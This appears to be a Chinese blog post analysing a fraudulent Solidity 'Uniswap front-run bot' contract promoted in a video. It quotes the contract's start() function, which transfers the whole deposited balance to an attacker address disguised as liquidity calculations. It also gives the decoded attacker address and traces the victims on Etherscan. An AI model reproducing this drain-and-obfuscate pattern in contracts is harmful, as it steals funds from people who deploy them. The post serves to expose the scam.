事情起因是在一个群里有个伙计发了个审计solidity源码的求助。
打开链接看完视频,里面讲的是利用uniswap来进行搬砖套利,视频操作流程总结;
1、部署rebot.sol合约
2、个人钱包EOA往合约里面充值1 Ether
3、点击start按钮调用函数
4、过了一段时间后,合约里面的余额变成1.7 Ether
5、点击withdraw提现
因为在视频里面我们看到需要先部署bot.sol合约,然后点击了一下start按钮,所以我们重点就是找到start这个函数。
看完这个我顿时惊呆,嗯????
function start() public payable {
emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
payable(_callFrontRunActionMempool()).transfer(address(this).balance);
}
我以为start是调用某个函数来进行监控交易,这一上来就转账???肯定是诈骗合约无疑了,start函数直接把部署的合约余额转给一个地址。
_callFrontRunActionMempool()》》》这个应该就是黑客的收款地址。
找到这个函数
返回address,说明确实是一个地址。
function _callFrontRunActionMempool() internal pure returns (address) {
return parseMemoryPool(callMempool());
}
重点就是找到返回的地址,callMempool函数看着像是一些string的切割和转换。
parseMemoryPool函数里面还有checkLiquidity,这个函数目的是为了鱼目混珠,看起来像是在做数学计算,实则是在进行地址string的转换操作。
两次都是进行转换,让别人误以为是在做一些复杂的数学计算,其实是把黑客的地址做隐藏。
两个转换函数看了很久,分析来分析去折腾了半天,懒得去分析怎么给地址做隐藏和转换的,直接写个public把黑客的地址return回来。。。
获得了黑客的真正收款address:0x7B887821B26EE682963AF06636e99d4092fF207e
打开我们的区块链浏览器
https://etherscan.io/address/0x7B887821B26EE682963AF06636e99d4092fF207e#internaltx
发现陆陆续续的有一些受害者(估计视频每次更新后都会把收款address进行更新。)
第一笔诈骗金额是在2022.10.1日进行的,截至2022.10.19日一共诈骗0.7Eth,最多的一个受害者是转了0.4u。
挑选一个受害者地址
https://etherscan.io/address/0x4b9fc745bf6509e21a52223e2393d547bfcb8718
都是部署完合约,给合约池子冲完钱,调用了start函数,甚至还有点多次的。。。。
脑海中出现了一个画面,
黑客为了让视频看起来逼真,用了好多假留言来显得视频逼真,
视频观看量接近6W了,受害者估计不少。。。。
顺便搜了一下相关的关键词,基本全是这种诈骗的合约,部署完冲进去就被转走。
总结:
天上不会掉馅饼
天上不会掉馅饼
天上不会掉馅饼